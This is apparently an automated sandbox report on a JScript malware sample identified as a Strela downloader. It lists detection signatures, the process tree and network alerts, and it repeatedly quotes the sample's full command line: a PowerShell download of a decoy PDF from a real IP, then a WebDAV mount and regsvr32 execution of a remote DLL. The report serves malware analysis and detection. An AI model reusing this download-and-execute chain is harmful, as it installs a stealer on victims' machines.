Edit tour

Windows Analysis Report
551753881921117607.js

Overview

General Information

Sample name:	551753881921117607.js
Analysis ID:	1587968
MD5:	101cd7376bc03bc7c4365080c90bd2f4
SHA1:	0950449bc6586e12870cabe399ce977eff4eec09
SHA256:	a87247c114a4060b23c98a7b34abbd5380a9c8dab980882796222b6179064808
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 5888 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 4208 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 2876 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 4724 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6184 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5512 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 5080 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1748,i,7694046889959552837,9448160055316661250,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6388 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 5996 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6668 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 5888	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4208, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4724, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4208, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4724, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ProcessId: 5888, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 5996, Protocol: tcp, SourceIp: 192.168.2.5, SourceIsIpv6: false, SourcePort: 49705

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5888, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ProcessId: 4208, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5888, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ProcessId: 4208, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5888, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ProcessId: 4208, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5888, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ProcessId: 4208, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5888, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ProcessId: 4208, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 1028, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ProcessId: 5888, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4208, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 4724, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5996, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6668, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6388, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 5996, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\551753881921117607.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 5888, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\305472725215745.dll, ProcessId: 4208, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:01:19.260768+0100	1810005	1	Potentially Bad Traffic	192.168.2.5	49705	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T20:01:16.967522+0100	1810000	2	Potentially Bad Traffic	192.168.2.5	49704	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\AppxSip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\en-GB\CRYPT32.dll.mui	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\pwrshsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\SYSTEM32\OpcServices.DLL	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Numerics\ce1e4670373608336100bea63bbc8990\System.Numerics.ni.dll	Jump to behavior

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 551753881921117607.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 551753881921117607.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.5:49705 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 19:01:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 